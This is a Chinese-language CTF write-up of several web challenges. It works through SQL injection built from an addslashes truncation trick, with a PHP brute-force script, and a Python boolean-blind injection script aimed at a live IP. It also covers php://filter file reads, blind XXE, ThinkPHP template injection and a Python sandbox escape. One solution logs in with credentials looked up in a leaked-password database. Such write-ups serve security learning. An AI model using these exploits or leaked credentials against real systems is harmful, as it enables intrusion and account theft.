这比赛Web题质量还挺不错的，最后八道题只做出四道(我好菜啊.jpg)…不会的题看了一下别人的writeup，在这里一起总结一下
你能进入后台吗? (100pt)
点进链接是一个登录界面，右键查看源码有两条隐藏信息
<!--The #define is xxooaa and LEN is 6-->
<!--The crypt key is {11132, 468, 392, 1281, 62}-->
然后扫目录扫到了一个index.php.bak，下载下来打开后是乱码，尝试了一下前段时间pwnhub上出过题的phpjiami无果，到这里就没思路了。
后来主办方放出提示php-screw，查了一下查到这两篇文章
http://blog.csdn.net/water_cow/article/details/41872091
按照这两篇文章里的内容配置好php_screw的加密和解密工具之后，可以解密之前下载的index.php.bak，然后内容是md5加密后的sql注入，解法可以参考这篇文章
http://www.joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
web catch me if you can (200pt)
纯社工题，点进题目是一个黑页，留下了黑客的QQ，加那个QQ然后访问空间，有一串base64编码的信息，解码之后得到黑客的博客地址，扫目录扫到后台地址manage_login.php，需要登录。在这里卡了一下，一开始以为是注入或弱口令爆破，但是多次尝试无果。后来发现博客的博主留了邮箱，且是163邮箱，联想到163邮箱密码曾大规模泄露，去社工库查了一下，得到账号密码sonic2011/2010sonic，登录后台就获得了flag
我们来做个小游戏吧 (300pt)
很有意思的一道题，比赛中没做出来，后来看了大佬的Writeup学习了一波。
题目给了源码www.zip，下载下来。题目是一个猜数游戏，初始10分，猜对一次加一分，猜错一次扣一分，获得100分以上才有flag，所以说靠运气是几乎不可能拿到flag的，只能靠题目的漏洞了，于是代码审计。
源码里三个文件，其中index.php里玩家的用户名和分数都是从$_SESSION里直接取出的，config.php里把所有参数都addslashes()了。然后重头戏是session.class.php，这个文件自己实现了一个session机制(其实是参考ECSHOP的)，然后其中有三处涉及到SQL操作的地方
function insert_session()
{
return $this->dbConn->query('INSERT INTO ' . $this->session_table . " (session_id, ip, data) VALUES ('" . $this->session_id ."', '". $this->_ip ."', 'a:2:{s:4:\"name\";s:5:\"guest\";s:5:\"score\";s:1:\"0\";}')");
}
function load_session()
{
$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
$session = $res->fetch_array();
if (empty($session))
{
$this->insert_session();
}
else
{
$GLOBALS['_SESSION'] = unserialize($session['data']);
}
}
function update_session()
{
$data = serialize($GLOBALS['_SESSION']);
$data = addslashes($data);
return $this->dbConn->query('UPDATE ' . $this->session_table . " SET ip = '" . $this->_ip . "', data = '$data' WHERE session_id = '" . $this->session_id . "'");
}
其中定义$_SESSION的地方在这里
那我们的目标就是通过注入改变这个从数据库取出来的data，以让我们的分数超过一百分。但是可以看到每个参数都用单引号包着，前面也说了每个参数都被addslashes()了，所以很难轻易注入。
但难注也得注。我们得看看SQL操作语句中两个拼接的参数$this->session_id和$this->_ip是如何定义的。
然后读源码知道$this->session_id是如果不存在$_COOKIE['SESSID']就随机生成，存在的话就直接取$_COOKIE['SESSID']的前32位字符，那我们就可以控制这个参数了。而$this->_ip是优先用X-Forwarded-For头来取的，我们也可以控制。
但是这两个参数有验证，验证方式是
其中的gen_session_key()是
也就是说，取$_COOKIE['SESSID']中的前32位字符与$ip拼接然后进行crc32之后的值要与$_COOKIE['SESSID']32位之后的字符相等。但是这个$ip的取值其实是有问题的，他取的是$this->_ip值里最后一个.之前的字符，那如果$this->_ip没有.，那$ip就为空，而$this->_ip是我们可控的，所以我们只要让$_COOKIE['SESSID']中的前32位字符进行crc32之后的值与$_COOKIE['SESSID']32位之后的字符相等就行了。
整个验证和过滤看起来比较难以利用，但其实这里就是利用他的过滤来进行绕过。addslashes()这个函数会把参数中的 ', ", NULL 三个字符转义成 \', \", \0 ，所以假如我们在$_COOKIE['SESSID']的第32位插入这三个字符的话，这三个字符前就会被加上一个反斜杠，然后这个反斜杠就成了$_COOKIE['SESSID']的第32位，这三个字符就成了第33位。结合前面说的$this->session_id最终取的是$_COOKIE['SESSID']的前32位，那它的最后一位就是反斜杠，带入到SQL语句中 '$this->session_id' 就会变成 'xxxxx\'，这最后一个反斜杠就会转义掉后面的单引号，整个语句就成了
SELECT data FROM session WHERE session_id = 'xxxxxx\' and ip = '$this->_ip'
也就是session_id等于 xxxxxx\' and ip =，$this->_ip就成功逃逸出单引号包围了，我们就可以用来进行SQL注入了。而我们还要满足 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32) 这个条件，addslashes()转义的三个字符里单双引号都是不可能在crc32的结果里出现的，但是0可以出现，所以我们这里就在$_COOKIE['SESSID']的第32位插入NULL(%00)，最终只要找到一个最后一位为反斜杠且crc32结果第一位为0的32位字符串就可以了，最终的$_COOKIE['SESSID']就是找到的字符串的前31位 + %00 + 找到的字符串除了第一个0的crc32结果
写个脚本爆破一下就可以找到满足要求的字符串
<?php
while(1){
$a = substr(md5(uniqid(mt_rand(), true)), 0, 31) . '\\';
$b = sprintf('%08x', crc32($a));
$c = $b[0];
if($c == '0'){
echo "$a\n$b";
break;
}
}
然后在X-Forwarded-For里插入我们的注入语句，因为要反序列化，所以我们让data等于a:2:{s:4:"name";s:4:"f1sh";s:5:"score";s:3:"100";}，然后因为过滤了引号，所以hex编码一下，最终
师傅们一起来找flag (150pt)
题目是一个搜索框，然后看网页源码可以得到提示是要XXE，但是使用常用的XXE payload打过去并没有回显。后来@pupiles 师傅和我说应该是一个Blind XXE，查了一波相关姿势后拿到flag
请求:
服务器上的dtd文件:
收到flag:
python sandbox (300pt)
这题没做出来。python沙箱逃逸，禁用了下划线_和大部分能导入的模块，最后fuzz得出还能导入的模块还有math、random、platform、timeit，但是不知道怎么利用这四个模块那执行命令或者代码。
看了WP后才知是类似SQL注入中的时间盲注一样利用timeit模块进行Time Based RCE，非常棒的思路，学到了新姿势。
You Think I Think (200pt)
这题也没做出来。看了WP后才知道是ThinkPHP的模板注入，找了篇文章学习了一波。
所以这题就是注册账号，然后登录进个人主页，然后修改头像的时候上传一张文件尾是PHP代码的图片，然后在包含模板的地方包含这张图片就可以了。这里需要注意的是图片里的代码要合乎ThinkPHP的模板语法，所以要这样写
然后用copy命令附加在一张图片的尾部
然后把这张图片上传之后得到文件路径，在修改密码的地方有模板包含的参数，修改参数为图片路径就好了
flag!flag (200pt)
题目给的链接是http://39.106.13.2/web2/file.php?file=index，很容易想到利用php://filter来读取文件，然后源码里有提示check.php，用http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check读了之后得到源码
<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
if($check)
{
exit("Stop hacking by using SQL injection!");
}
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
function check_url()
{
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
$key_word=array("select","from","for","like");
foreach($query as $key)
{
foreach($key_word as $value)
{
if(preg_match("/".$value."/",strtolower($key)))
{
die("Stop hacking by using SQL injection!");
}
}
}
}
?>
然后在http://39.106.13.2/web2/article_show_All.php?a_id=1得到注入点
可以看到check.php是过滤了大部分SQL注入关键字，尤其是连select、from都过滤了，看起来非常难注入。但其实能看出这个check.php写的很不自然，明明一个过滤就可以，但却写了两个函数，于是猜测问题可能出在下面那个函数上。下面那个函数是用parse_url()来取请求中的参数，于是猜测这个函数会不会有漏洞，一番查找之后在chu师傅的博客上找到了parse_url()的漏洞(膜chu师傅)，链接
那么问题就很简单了，下面的过滤形同虚设，但union被上面的函数过滤掉了，所以这里不能用联合查询。但我们还是可以利用a_id=1和a_id=0的返回值不同来进行bool注入，exp:
import requests
url = 'http://39.106.13.2///web2/article_show_All.php'
get = ""
for i in xrange(32):
for j in xrange(32, 127):
payload = "0'^(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()), " + str(i) + ", 1))=" + str(j) + ")#"
param = {'a_id': payload}
r = requests.get(url, parmas = param)
if 'flag' in r.content:
get += chr(j)
print get
break
偷懒的出题人 (300pt)
这题也没做出来。这题其实是SWPU CTF 2016的一道原题，网上可以查到WP，但是今年加了一层waf，所以最后不能直接在GET参数里进行注入了，改成在cookie里注入就绕过waf了。